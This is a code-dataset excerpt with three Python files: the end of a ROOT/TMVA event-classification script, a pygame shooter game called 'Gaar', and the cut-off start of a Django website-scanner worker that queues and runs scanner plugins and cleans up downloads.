'_')\n weightFormula = ROOT.TTreeFormula(weightFormulaName, weightFormula, self.chain)\n weightFormula.GetNdata()\n self.chain.SetNotify(weightFormula)\n else:\n weightFormula = None\n\n # Create cut formula\n cut = None\n if \"applySkimming\" in self.root.cfg.mvaCfg and self.root.cfg.mvaCfg[\"applySkimming\"]:\n if \"skimmingFormula\" in self.root.cfg.mvaCfg and len(self.root.cfg.mvaCfg[\"skimmingFormula\"]) > 0:\n cut = self.root.cfg.mvaCfg[\"skimmingFormula\"]\n\n cutFormula = None\n if cut is not None:\n print(\"\\nUsing global cut: '%s'\" % cut)\n cutFormula = ROOT.TTreeFormula(\"skimmingFormula\", cut, self.chain)\n cutFormula.GetNdata()\n self.chain.SetNotify(cutFormula)\n\n print(\"\\nProcessing events...\")\n\n i = 0\n # Main loop\n for event in self.chain:\n\n if i % 10000 == 0:\n print(\"Event %d over %d\" % (i + 1, self.chain.GetEntries()))\n\n # Evaluate cut\n if cutFormula is not None and cutFormula.EvalInstance() == 0:\n continue\n\n weight = datasetWeight\n if weightFormula is not None:\n weight = weight * weightFormula.EvalInstance()\n\n # Sync MVA readers variables with tree\n self.syncMVAInputVariables(self.treeRoot)\n\n # Evaluate root MVA, and start classifying\n node = self.treeRoot\n mvaValue = self.treeRoot.data.evaluate()\n\n while True:\n node = self.getNextMVA(node, mvaValue)\n if node is None:\n break\n\n if not node.hasChildren():\n node.data.fill(weight)\n\n self.summaryHist.Fill(node.data.binNumber - 0.5, weight)\n break\n\n # Evaluate new MVA\n mvaValue = node.data.evaluate()\n\n i = i + 1\n\n print(\"\\nAll done. Writing files ...\")\n\n def writeFile(node):\n print(\"%.2f expected events in node '%s'\" % (node.data.entries, node.data.name))\n node.data.file.Write()\n\n self.runOnEndNodes(self.treeRoot, writeFile)\n\n def setBinLabels(node):\n self.summaryHist.GetXaxis().SetBinLabel(node.data.binNumber, node.data.name)\n\n self.runOnEndNodes(self.treeRoot, setBinLabels)\n\n f = ROOT.TFile(os.path.join(self.outputDirectory, \"%s_hists.root\" % self.name), \"recreate\")\n self.summaryHist.Write()\n f.Close()\n\n\n @staticmethod\n def getXMLPath(mva):\n cfg = mva.cfg.mvaCfg\n return os.path.join(cfg[\"outputdir\"], \"{0}_{1}_{0}.weights.xml\".format(cfg[\"outputname\"], cfg[\"mvamethod\"]))\n","repo_name":"swertz/ttbar_effth_delphes","sub_path":"analyzer/python/TMVAReplayer.py","file_name":"TMVAReplayer.py","file_ext":"py","file_size_in_byte":11271,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"40244584917","text":"import pygame\r\nimport random\r\nimport math\r\nfrom pygame import mixer\r\nimport time\r\n\r\n# Initialize the pygame\r\npygame.init()\r\n\r\n# create the screen\r\nscreen = pygame.display.set_mode((1000, 600))\r\n\r\n# Background\r\nbackground = pygame.image.load('background.png')\r\n\r\n\r\n# black and white color\r\ncolor = (0, 0, 0)\r\ncolor2 = (255, 255, 255)\r\n\r\n# button color (red)\r\nbg_color = (136, 0, 21)\r\n\r\n# stores the width of the\r\n# screen into a variable\r\nwidth = screen.get_width()\r\n\r\n# stores the height of the\r\n# screen into a variable\r\nheight = screen.get_height()\r\n\r\n# defining a font\r\nsmallfont = pygame.font.Font('TAKOYAKI.ttf', 40)\r\nbigfont = pygame.font.Font('TAKOYAKI.ttf', 80)\r\n\r\n# Background sound\r\nmixer.music.load('background_sound.mp3')\r\nmixer.music.play(-1)\r\n\r\n# Title and Icon\r\npygame.display.set_caption(\"Gaar\")\r\nicon = pygame.image.load('ninja_icon.png')\r\npygame.display.set_icon(icon)\r\n\r\n# Player\r\nplayerImg = pygame.image.load('player.png')\r\nplayerX = 50\r\nplayerY = 290\r\nplayerX_change = 0\r\nplayerY_change = 0\r\n\r\n# Score\r\nscore_value = 0\r\nfont = pygame.font.Font('TAKOYAKI.ttf', 30)\r\n\r\n# Score_end\r\nscore_value_end = 0\r\nfont_end = pygame.font.Font('TAKOYAKI.ttf', 50)\r\n\r\ntextX = 880\r\ntextY = 10\r\n# Game over text\r\ngame_over_font = pygame.font.Font('TAKOYAKI.ttf', 60)\r\n\r\n# help text\r\nhelp_font = pygame.font.Font('TAKOYAKI.ttf', 30)\r\n\r\nend_game = False\r\nstart_game = True\r\nstart_screen = True\r\nend_screen = False\r\nhelp_screen = False\r\nsettings_screen = False\r\nkorean_theme = False\r\ncredits_screen = False\r\nquit_button = True\r\n\r\n\r\n# Enemy\r\nenemyImg = []\r\nenemyX = []\r\nenemyY = []\r\nenemyX_change = []\r\nenemyY_change = []\r\nnum_of_enemies = 8\r\n\r\nfor i in range(num_of_enemies):\r\n enemyImg.append(pygame.image.load('enemy.png'))\r\n enemyX.append(1000000000)\r\n enemyY.append(1000000000)\r\n enemyX_change.append(0.5)\r\n enemyY_change.append(0.5)\r\n\r\n# Bullet\r\n# Ready - You can't see the bullet on the screen\r\n# Fire - bullet is moving\r\nbullet_upImg = pygame.image.load('kunai_up.png')\r\nbulletX = 0\r\nbulletY = 0\r\nbulletX_change = 3\r\nbulletY_change = 3\r\nbullet_state = \"ready\"\r\n\r\n\r\ndef show_score(x, y):\r\n score = font.render(\"Score: \" + str(score_value), True, (0, 0, 0))\r\n screen.blit(score, (x, y))\r\n\r\n\r\ndef game_over_text():\r\n game_over_text = game_over_font.render(\"YOU ARE DEAD\", True, (0, 0, 0))\r\n screen.blit(game_over_text, (350, 230))\r\n global score_value\r\n score = font_end.render(\"Score: \" + str(score_value), True, (0, 0, 0))\r\n screen.blit(score, (450, 300))\r\n\r\n\r\ndef credits_text():\r\n credits_text = help_font.render(\"AUTHOR - WIKTOR JASIAK\", True, (0, 0, 0))\r\n screen.blit(credits_text, (250, 20))\r\n credits_text = help_font.render(\"YOU CAN STICK TO THE WALL AND THEN GAME BECOMES\", True, (0, 0, 0))\r\n screen.blit(credits_text, (250, 100))\r\n credits_text = help_font.render(\"VERY VERY EASY, BUT I WANT TO SAY...\", True, (0, 0, 0))\r\n screen.blit(credits_text, (250, 140))\r\n credits_text = help_font.render(\"IT'S TACTIC FOR NOOBS\", True, (0, 0, 0))\r\n screen.blit(credits_text, (250, 180))\r\n\r\n\r\ndef help_text():\r\n help_text = help_font.render(\"WELCOME IN GAAR!\", True, (0, 0, 0))\r\n screen.blit(help_text, (250, 20))\r\n help_text = help_font.render(\"YOU ARE A WARRIOR WHO HAVE TO FIGHT\", True, (0, 0, 0))\r\n screen.blit(help_text, (250, 60))\r\n help_text = help_font.render(\"WITH DANGEROUS DEMONS. MAKE THE HIGHEST SCORE POSSIBLE\", True, (0, 0, 0))\r\n screen.blit(help_text, (250, 100))\r\n help_text = help_font.render(\"AND GAIN IMMORTAL GLORY!\", True, (0, 0, 0))\r\n screen.blit(help_text, (250, 140))\r\n help_text = help_font.render(\"GODSPEED WARRIOR!\", True, (0, 0, 0))\r\n screen.blit(help_text, (250, 180))\r\n\r\n help_text = help_font.render(\"CONTROLS\", True, (0, 0, 0))\r\n screen.blit(help_text, (250, 260))\r\n help_text = help_font.render(\"MOVEMENT - ARROWS\", True, (0, 0, 0))\r\n screen.blit(help_text, (250, 300))\r\n help_text = help_font.render(\"SHOOTING - [W] KEY\", True, (0, 0, 0))\r\n screen.blit(help_text, (250, 340))\r\n\r\n help_text = help_font.render(\"YOU HAVE ONLY ONE BULLET\", True, (0, 0, 0))\r\n screen.blit(help_text, (550, 210))\r\n help_text = help_font.render(\"AT YOUR DISPOSAL AT ONCE\", True, (0, 0, 0))\r\n screen.blit(help_text, (550, 250))\r\n help_text = help_font.render(\"SO SHOOT STRAIGHT!\", True, (0, 0, 0))\r\n screen.blit(help_text, (550, 290))\r\n\r\n\r\ndef settings_text():\r\n settings_text = bigfont.render(\"SETTINGS\", True, (0, 0, 0))\r\n screen.blit(settings_text, (420, 25))\r\n in_settings_text = smallfont.render(\"(just one option but it's still something)\", True, (0, 0, 0))\r\n screen.blit(in_settings_text, (420, 90))\r\n\r\n\r\ndef theme_text():\r\n theme_text = smallfont.render(\"CHANGE THEME\", True, (0, 0, 0))\r\n screen.blit(theme_text, (360, 200))\r\n\r\n\r\ndef end():\r\n for j in range(num_of_enemies):\r\n enemyX_change[j] = 0\r\n enemyY_change[j] = 0\r\n enemyX[j] = 1000000000\r\n enemyY[j] = 1000000000\r\n global playerX_change\r\n global playerY_change\r\n playerX_change = 0\r\n playerY_change = 0\r\n\r\n\r\ndef Gong():\r\n gong_sound = mixer.Sound('gong.wav')\r\n gong_sound.set_volume(0.2)\r\n gong_sound.play()\r\n\r\n\r\ndef player(x, y):\r\n screen.blit(playerImg, (x, y))\r\n\r\n\r\ndef enemy(x, y, i):\r\n screen.blit(enemyImg[i], (x, y))\r\n\r\n\r\ndef fire_bullet_up(x, y):\r\n global bullet_state\r\n bullet_state = \"fire\"\r\n if korean_theme is True:\r\n screen.blit(bullet_upImg, (x+1, y-10))\r\n else:\r\n screen.blit(bullet_upImg, (x-3, y - 10))\r\n\r\n\r\ndef draw_bullet():\r\n screen.blit(bullet_upImg, (playerX, playerY))\r\n\r\n\r\ndef isCollision(enemyX, enemyY, bulletX, bulletY):\r\n distance = math.sqrt((math.pow(enemyX-bulletX, 2)) + (math.pow(enemyY-bulletY, 2)))\r\n if distance < 27 and bullet_state == \"fire\":\r\n return True\r\n else:\r\n return False\r\n\r\n\r\ndef is_Enemy_Collision(enemyX, enemyY, playerX, playerY):\r\n\r\n distance_enemy = math.sqrt((math.pow(enemyX-playerX, 2)) + (math.pow(enemyY-playerY, 2)))\r\n if distance_enemy < 27:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\n# Game Loop\r\nrunning = True\r\nwhile running:\r\n # RGB\r\n screen.fill((102, 102, 255))\r\n # background image\r\n screen.blit(background, (0, 0))\r\n\r\n # SETTINGS SCREEN BUTTON\r\n if settings_screen is True:\r\n settings_text()\r\n theme_text()\r\n\r\n mouse = pygame.mouse.get_pos()\r\n\r\n if 110 - 10 <= mouse[0] <= 110 - 10 + 180 and 450 <= mouse[1] <= 450 + 70:\r\n pygame.draw.rect(screen, bg_color, [400 - 15, 350, 100, 20])\r\n text = bigfont.render('MENU', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [4100 - 15, 340, 100, 30])\r\n text = bigfont.render('MENU', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (100, 450))\r\n\r\n # JAPANESE CHANGE BUTTON\r\n if 315 - 10 <= mouse[0] <= 315 - 10 + 160 and 250 <= mouse[1] <= 250 + 30:\r\n pygame.draw.rect(screen, bg_color, [4100 - 15, 350, 100, 20])\r\n text = smallfont.render('JAPANESE', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [3110 - 15, 250, 100, 30])\r\n text = smallfont.render('JAPANESE', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (310, 250))\r\n\r\n # KOREAN CHANGE BUTTON\r\n if 525 - 10 <= mouse[0] <= 525 - 10 + 120 and 250 <= mouse[1] <= 250 + 30:\r\n pygame.draw.rect(screen, bg_color, [4100 - 15, 350, 100, 20])\r\n text = smallfont.render('KOREAN', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [4010 - 15, 340, 100, 30])\r\n text = smallfont.render('KOREAN', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (515, 250))\r\n\r\n if credits_screen is True:\r\n credits_text()\r\n\r\n mouse = pygame.mouse.get_pos()\r\n\r\n if 110 - 10 <= mouse[0] <= 110 - 10 + 180 and 450 <= mouse[1] <= 450 + 70:\r\n pygame.draw.rect(screen, bg_color, [1100 - 15, 350, 100, 20])\r\n text = bigfont.render('MENU', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [1100 - 15, 340, 100, 30])\r\n text = bigfont.render('MENU', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (100, 450))\r\n\r\n # HELP SCREEN BUTTON\r\n if help_screen is True:\r\n help_text()\r\n\r\n mouse = pygame.mouse.get_pos()\r\n\r\n if 110 - 10 <= mouse[0] <= 110 - 10 + 180 and 450 <= mouse[1] <= 450 + 70:\r\n pygame.draw.rect(screen, bg_color, [1100 - 15, 350, 100, 20])\r\n text = bigfont.render('MENU', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [1100 - 15, 340, 100, 30])\r\n text = bigfont.render('MENU', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (100, 450))\r\n\r\n if 10 - 10 <= mouse[0] <= 10 - 10 + 465 and 570 <= mouse[1] <= 570 + 70:\r\n pygame.draw.rect(screen, bg_color, [1100 - 15, 350, 100, 20])\r\n text = help_font.render('CREDITS AND ONE WORD FROM AUTHOR', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [1100 - 15, 340, 100, 30])\r\n text = help_font.render('CREDITS AND ONE WORD FROM AUTHOR', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (10, 570))\r\n\r\n if end_game is True:\r\n playerImg = pygame.image.load('player_end.png')\r\n mixer.music.stop()\r\n game_over_text()\r\n textY = 2000\r\n\r\n mouse = pygame.mouse.get_pos()\r\n\r\n if 380 - 45 <= mouse[0] <= 380 - 45 + 100 and 350 <= mouse[1] <= 350 + 40:\r\n pygame.draw.rect(screen, bg_color, [3180 - 45, 350, 100, 40])\r\n text = smallfont.render('QUIT', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [3180 - 45, 350, 100, 40])\r\n text = smallfont.render('QUIT', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (350, 350))\r\n\r\n if 600 - 45 <= mouse[0] <= 600 - 45 + 100 and 350 <= mouse[1] <= 350 + 40:\r\n pygame.draw.rect(screen, bg_color, [6100 - 45, 350, 100, 40])\r\n text = smallfont.render('AGAIN', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [6100 - 45, 350, 100, 40])\r\n text = smallfont.render('AGAIN', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (550, 350))\r\n\r\n if 140 - 45 <= mouse[0] <= 150 - 45 + 170 and 450 <= mouse[1] <= 450 + 70:\r\n pygame.draw.rect(screen, bg_color, [4190 - 45, 400, 100, 35])\r\n text = bigfont.render('MENU', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [4190 - 45, 400, 100, 35])\r\n text = bigfont.render('MENU', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (100, 450))\r\n\r\n if start_game is True:\r\n playerImg = pygame.image.load('player_end.png')\r\n textY = 200000\r\n\r\n mouse = pygame.mouse.get_pos()\r\n\r\n if 400 <= mouse[0] <= 400 + 200 and 270 <= mouse[1] <= 270 + 60:\r\n pygame.draw.rect(screen, bg_color, [4100 - 45, 270, 100, 40])\r\n text = bigfont.render('START', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [4100 - 45, 270, 100, 40])\r\n text = bigfont.render('START', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (400, 270))\r\n\r\n if 350 <= mouse[0] <= 350 + 70 and 370 <= mouse[1] <= 370 + 40:\r\n pygame.draw.rect(screen, bg_color, [3150 - 45, 300, 50, 40])\r\n text = smallfont.render('HELP', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [4100 - 45, 400, 90, 35])\r\n text = smallfont.render('HELP', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (350, 370))\r\n\r\n if 530 <= mouse[0] <= 530 + 160 and 360 <= mouse[1] <= 370 + 40:\r\n pygame.draw.rect(screen, bg_color, [3150 - 45, 300, 50, 40])\r\n text = smallfont.render('SETTINGS', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [400 - 45, 400, 100, 40])\r\n text = smallfont.render('SETTINGS', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (530, 370))\r\n\r\n if 485 - 45 <= mouse[0] <= 485 - 45 + 80 and 420 <= mouse[1] <= 420 + 35:\r\n pygame.draw.rect(screen, bg_color, [4190 - 45, 400, 100, 35])\r\n text = smallfont.render('QUIT', True, color2)\r\n\r\n else:\r\n pygame.draw.rect(screen, bg_color, [4190 - 45, 400, 100, 35])\r\n text = smallfont.render('QUIT', True, color)\r\n\r\n # text on button\r\n screen.blit(text, (445, 420))\r\n\r\n for event in pygame.event.get():\r\n if event.type == pygame.QUIT:\r\n running = False\r\n\r\n mouse = pygame.mouse.get_pos()\r\n\r\n if event.type == pygame.MOUSEBUTTONDOWN:\r\n # help button\r\n if 350 <= mouse[0] <= 350 + 70 and 370 <= mouse[1] <= 370 + 40 and start_screen is True\\\r\n and settings_screen is False and credits_screen is False:\r\n\r\n help_screen = True\r\n start_game = False\r\n\r\n # CREDITS BUTTON\r\n if 10 - 10 <= mouse[0] <= 10 - 10 + 465 and 570 <= mouse[1] <= 570 + 70 and help_screen is True:\r\n\r\n help_screen = False\r\n credits_screen = True\r\n\r\n # SETTINGS BUTTON\r\n if 530 <= mouse[0] <= 530 + 160 and 360 <= mouse[1] <= 370 + 40 and start_screen is True\\\r\n and help_screen is False and credits_screen is False:\r\n\r\n start_game = False\r\n settings_screen = True\r\n\r\n # CHANGE THEME\r\n\r\n # KOREAN\r\n if 525 - 10 <= mouse[0] <= 525 - 10 + 120 and 250 <= mouse[1] <= 250 + 30 and settings_screen is True\\\r\n and korean_theme is False:\r\n\r\n background = pygame.image.load('background_korea.png')\r\n screen.blit(background, (0, 0))\r\n playerImg = pygame.image.load('player_end.png')\r\n korean_theme = True\r\n bullet_upImg = pygame.image.load('shuriken.png')\r\n bg_color = (0, 162, 232)\r\n\r\n # JAPANESE\r\n if 320 - 10 <= mouse[0] <= 310 - 10 + 163 and 250 <= mouse[1] <= 250 + 30 and settings_screen is True\\\r\n and korean_theme is True:\r\n\r\n background = pygame.image.load('background.png')\r\n screen.blit(background, (0, 0))\r\n playerImg = pygame.image.load('player_end.png')\r\n bullet_upImg = pygame.image.load('kunai_up.png')\r\n bg_color = (136, 0, 21)\r\n korean_theme = False\r\n\r\n # CREDITS MENU BUTTON\r\n if 110 - 10 <= mouse[0] <= 110 - 10 + 180 and 450 <= mouse[1] <= 450 + 70 and credits_screen is True:\r\n start_game = True\r\n credits_screen = False\r\n\r\n # HELP MENU BUTTON\r\n if 100 <= mouse[0] <= 100 + 180 and 450 <= mouse[1] <= 450 + 65 and help_screen is True:\r\n help_screen = False\r\n start_game = True\r\n\r\n # SETTINGS MENU BUTTON\r\n if 100 <= mouse[0] <= 100 + 180 and 450 <= mouse[1] <= 450 + 65 and settings_screen is True:\r\n settings_screen = False\r\n start_game = True\r\n\r\n # END GAME MENU BUTTON\r\n if 100 <= mouse[0] <= 100 + 180 and 450 <= mouse[1] <= 450 + 65 and end_game is True:\r\n start_game = True\r\n end_screen = False\r\n end_game = False\r\n start_screen = True\r\n quit_button = True\r\n mixer.music.load('background_sound.mp3')\r\n mixer.music.play(-1)\r\n score_value = 0\r\n\r\n # if the mouse is clicked on the button game ends\r\n # QUIT\r\n if 380 - 45 <= mouse[0] <= 380 - 45 + 100 and 350 <= mouse[1] <= 350 + 40 and start_screen is False\\\r\n and end_screen is True and help_screen is False and settings_screen is False\\\r\n and end_game is True and credits_screen is False:\r\n\r\n running = False\r\n\r\n # QUIT ON START\r\n if 485 - 45 <= mouse[0] <= 485 - 45 + 80 and 420 <= mouse[1] <= 420 + 35 and start_screen is True\\\r\n and end_screen is False and settings_screen is False and help_screen is False\\\r\n and end_game is False and credits_screen is False and quit_button is True:\r\n\r\n running = False\r\n\r\n # Start\r\n if 400 <= mouse[0] <= 400 + 200 and 270 <= mouse[1] <= 270 + 60 and start_screen is True\\\r\n and settings_screen is False and help_screen is False and credits_screen is False:\r\n\r\n for i in range(num_of_enemies):\r\n enemyImg.append(pygame.image.load('enemy.png'))\r\n enemyX[i] = (random.randint(200, 900))\r\n enemyY[i] = (random.randint(50, 550))\r\n enemyX_change.append(0.5)\r\n enemyY_change.append(0.5)\r\n start_game = False\r\n playerX = 50\r\n playerY = 290\r\n playerX_change = 0\r\n playerY_change = 0\r\n textY = 10\r\n start_screen = False\r\n if korean_theme is True:\r\n playerImg = pygame.image.load('player_kr.png')\r\n else:\r\n playerImg = pygame.image.load('player.png')\r\n\r\n # restart\r\n if 550 <= mouse[0] <= 550 + 100 and 350 <= mouse[1] <= 350 + 40 and start_screen is False and\\\r\n end_game is True and help_screen is False and settings_screen is False:\r\n\r\n for i in range(num_of_enemies):\r\n mixer.music.load('background_sound.mp3')\r\n time.sleep(0.08)\r\n enemyImg.append(pygame.image.load('enemy.png'))\r\n enemyX[i] = (random.randint(200, 900))\r\n enemyY[i] = (random.randint(50, 550))\r\n enemyX_change.append(0.5)\r\n enemyY_change.append(0.5)\r\n start_game = False\r\n end_game = False\r\n settings_screen = False\r\n mixer.music.play(-1)\r\n playerX = 50\r\n playerY = 290\r\n playerX_change = 0\r\n playerY_change = 0\r\n textY = 10\r\n score_value = 0\r\n if korean_theme is True:\r\n playerImg = pygame.image.load('player_kr.png')\r\n else:\r\n playerImg = pygame.image.load('player.png')\r\n\r\n # controls\r\n if event.type == pygame.KEYDOWN:\r\n\r\n if event.key == pygame.K_UP:\r\n playerY_change = -1.2\r\n\r\n if event.key == pygame.K_DOWN:\r\n playerY_change = 1.2\r\n\r\n if event.key == pygame.K_LEFT:\r\n playerX_change = -0.3\r\n\r\n if event.key == pygame.K_RIGHT:\r\n playerX_change = 0.3\r\n\r\n if event.key == pygame.K_w and end_game is False and start_game is False and start_screen is False:\r\n if bullet_state == \"ready\":\r\n bullet_Sound = mixer.Sound('knife_throw.wav')\r\n bullet_Sound.play()\r\n # get the current player coordinates\r\n bulletX = playerX\r\n bulletY = playerY\r\n fire_bullet_up(bulletX, bulletY)\r\n\r\n # player borders X\r\n playerX += playerX_change\r\n\r\n if playerX <= 0:\r\n playerX = 0\r\n\r\n if playerX >= 970 and korean_theme is False:\r\n playerX = 970\r\n\r\n if korean_theme is True and playerX >= 965:\r\n playerX = 965\r\n\r\n # player borders Y\r\n playerX += playerX_change\r\n\r\n if playerY <= 0:\r\n playerY = 0\r\n\r\n if playerY >= 570 and korean_theme is False:\r\n playerY = 570\r\n\r\n if korean_theme is True and playerY >= 555:\r\n playerY = 555\r\n\r\n # enemy borders/movement\r\n for i in range(num_of_enemies):\r\n\r\n # Collision enemy/game over\r\n enemy_collision = is_Enemy_Collision(enemyX[i], enemyY[i], playerX, playerY)\r\n if enemy_collision:\r\n Gong()\r\n end()\r\n end_game = True\r\n end_screen = True\r\n start_screen = False\r\n start_game = False\r\n quit_button = False\r\n\r\n enemyY[i] += enemyY_change[i]\r\n\r\n if enemyY[i] <= 0:\r\n enemyY_change[i] = 0.3\r\n elif enemyY[i] >= 555:\r\n enemyY_change[i] = -0.3\r\n\r\n if enemyX[i] <= 0:\r\n enemyX_change[i] = 0.3\r\n elif enemyX[i] >= 953:\r\n enemyX_change[i] = -0.3\r\n\r\n # Collision\r\n collision = isCollision(enemyX[i], enemyY[i], bulletX, bulletY)\r\n if collision:\r\n death_Sound = mixer.Sound('death.wav')\r\n death_Sound.set_volume(0.2)\r\n death_Sound.play()\r\n bulletY = playerY\r\n bulletX = playerX\r\n bullet_state = \"ready\"\r\n score_value += 1\r\n enemyX[i] = random.randint(200, 900)\r\n enemyY[i] = random.randint(50, 550)\r\n\r\n enemy(enemyX[i], enemyY[i], i)\r\n enemyY[i] += enemyY_change[i]\r\n enemyX[i] += enemyX_change[i]\r\n\r\n # bullet movement\r\n if bulletY <= 0:\r\n bulletY = playerY\r\n bulletX = playerX\r\n bullet_state = \"ready\"\r\n if bullet_state == \"fire\":\r\n fire_bullet_up(bulletX, bulletY)\r\n bulletY -= bulletY_change\r\n\r\n playerX += playerX_change\r\n playerY += playerY_change\r\n player(playerX, playerY)\r\n show_score(textX, textY)\r\n pygame.display.update()\r\n","repo_name":"WiktorJasiak-Python/Apl_kurs","sub_path":"pyGameGra/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":22130,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"3417266434","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\nimport os\nimport sys\n# I really do not understand why I need to reload this :(\nreload(sys)\nsys.setdefaultencoding('utf-8')\nimport random\nimport socket\nimport logging\nfrom time import sleep\nfrom datetime import datetime, timedelta\nfrom django.conf import settings\nfrom django.db import transaction\nfrom django.db.models import Q\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom setproctitle import setproctitle\n\nfrom webscanner.apps.scanner.models import Tests, CommandQueue, STATUS, PLUGINS\nfrom webscanner.apps.scanner.models import Results, RESULT_STATUS, RESULT_GROUP\nfrom .httrack import httrack_download_website\n\n\ndef restarter_process():\n '''\n Restart downloads and CommandQueues after 15 minutes without ending.\n '''\n setproctitle('Worker[restarter]')\n log = logging.getLogger('webscanner.utils.restarter_process')\n TIME_BETWEEN_RESTARTS = 15 * 60 # in seconds\n WAIT_SEC = 30\n time_between_restarts = timedelta(seconds=TIME_BETWEEN_RESTARTS)\n while True:\n # restart downloads\n log.info('Checking for (tests) downloads needs to be restarted.')\n with transaction.commit_on_success():\n tests = Tests.objects.filter(download_status=STATUS.running, download_run_date__lt=datetime.utcnow() - time_between_restarts, is_deleted=False).exclude(download_run_date=None)\n tests_count = tests.count()\n for test in tests:\n log.warning(u'Downloading for {!r} is restarting.'.format(test))\n changed = tests.update(download_status=STATUS.waiting, download_run_date=datetime.utcnow())\n if not tests_count == changed:\n log.warning(u'Found {} (tests) downloads in running status which should be switched to waiting, but switched only {}'.format(len(tests), changed))\n\n # restart commands\n log.info('Checking for commands needs to be restarted.')\n with transaction.commit_on_success():\n commands = CommandQueue.objects.filter(status=STATUS.running, run_date__lt=datetime.utcnow() - time_between_restarts)\n changed = commands.update(status=STATUS.waiting, run_date=datetime.utcnow())\n for command in commands:\n log.warning(u'CommandQueue {!r} is restarting.'.format(command))\n if not len(commands) == changed:\n log.warning(u'Found {} commands in running status which should be switched to waiting, but switched only {}.'.format(len(commands), changed))\n\n log.debug(u'Waiting {} seconds'.format(WAIT_SEC))\n sleep(WAIT_SEC)\n\n\ndef worker_process():\n setproctitle('Worker[process worker]')\n log = logging.getLogger('webscanner.utils.worker_process')\n log.debug(u\"Starting new worker pid={}\".format(os.getpid()))\n sleep(random.uniform(0, 5))\n\n #main program loop\n while(True):\n try:\n #log.debug('Try to fetch some fresh stuff')\n with transaction.commit_on_success():\n try:\n ctest = CommandQueue.objects.filter(status=STATUS.waiting).filter(Q(wait_for_download=False) | Q(test__download_status=STATUS.success)).order_by('?')[:1].get()\n\n #this should dissallow two concurrent workers for the same commandqueue object\n commandschanged = CommandQueue.objects.filter(status=STATUS.waiting).filter(pk=ctest.pk).update(status=STATUS.running)\n\n if (commandschanged == 0):\n log.debug(u\"Someone already took care of this ctest({!r})\".format(ctest))\n continue\n\n ctest.status = STATUS.running\n ctest.run_date = datetime.utcnow()\n ctest.save()\n log.info(u'Processing command {}({}) for {} (queue len:{})'.format(ctest.testname,\n ctest.pk,\n ctest.test.url,\n CommandQueue.objects.filter(status=STATUS.waiting).filter(Q(wait_for_download=False) | Q(test__download_status=STATUS.success)).count()))\n except CommandQueue.DoesNotExist:\n log.debug(\"No Commands in Queue to process, sleeping.\")\n sleep(random.uniform(2, 10))\n continue\n\n if ctest:\n try:\n try:\n # bierzemy plugina\n plugin = PLUGINS[ctest.testname]()\n except KeyError:\n log.exception(u'Could not find plugin: {}'.format(ctest.testname))\n break\n\n log.debug(u'Starting scanner plugin: {}'.format(plugin))\n\n # uruchamiamy i czekamy na status\n plugin_status = plugin.run(ctest)\n ctest.status = plugin_status if plugin_status else STATUS.success\n\n log.debug(u'Scanner plugin({}) for test ({!r}) finished with success.'.format(plugin.name, ctest))\n except Exception as error:\n log.exception(u'Plugin \"{}\" failed (for command:{!r}) with an execution: {}'.format(plugin.name, ctest, error))\n ctest.status = STATUS.exception\n\n ctest.finish_date = datetime.utcnow()\n ctest.save()\n\n else:\n sleep(random.uniform(2, 10)) # there was nothing to do - we can sleep longer\n except Exception as error:\n log.exception(u'Command run ended with exception: {}'.format(error))\n #give admins some time\n sleep(30)\n\n\ndef download_cleaner_process():\n '''\n Cleaner process, removes unused downloaded data\n '''\n setproctitle('Worker[cleaner]')\n log = logging.getLogger('webscanner.worker.cleaner')\n log.debug(u\"Starting new cleaner pid={}\".format(os.getpid()))\n if not os.path.exists(settings.WEBSCANNER_SHARED_STORAGE):\n raise Exception(u'Cannot run cleaner, WEBSCANNER_SHARED_STORAGE ({}) does not exist. (this not check it is mounted, only existence)'.format(settings.WEBSCANNER_SHARED_STORAGE))\n LOCK_FILE = os.path.join(settings.WEBSCANNER_SHARED_STORAGE, '.cleaner_process_running')\n if os.path.exists(LOCK_FILE):\n raise Exception(u'Lock file ({}) exists, it means cleaner is already running, or was not closed properly. Check content of this file and if you are sure there is no other cleaner process you can remove this file'.format(LOCK_FILE))\n\n with open(LOCK_FILE, \"a\") as f:\n f.write('[cleaner_process:lock:pid=%d]\\n' % os.getpid())\n f.write('pid=%s\\n' % os.getpid())\n f.write('start_utc=%s\\n' % datetime.utcnow())\n f.write('host=%s\\n' % socket.gethostname())\n\n sleep(random.uniform(0, 5))\n\n MAX_WAITING_TIME = 30 * 60 # max number of seconds after which log.error\n # should be generated if task has downloaded\n # data, but is not done (maybe some exceptions\n # has occurred)\n MIN_TIME_BETWEEN_CHECKS = 1 * 60 # minimum time between the same test\n # will be checked again\n # this is cache for tests pk\n # for each test we monitor some parameters:\n # - count: how many times test object was tried to clean\n # - start: first time when was fetched but was not done\n # - last: last time when was fetched but was not done\n # - notified: last time 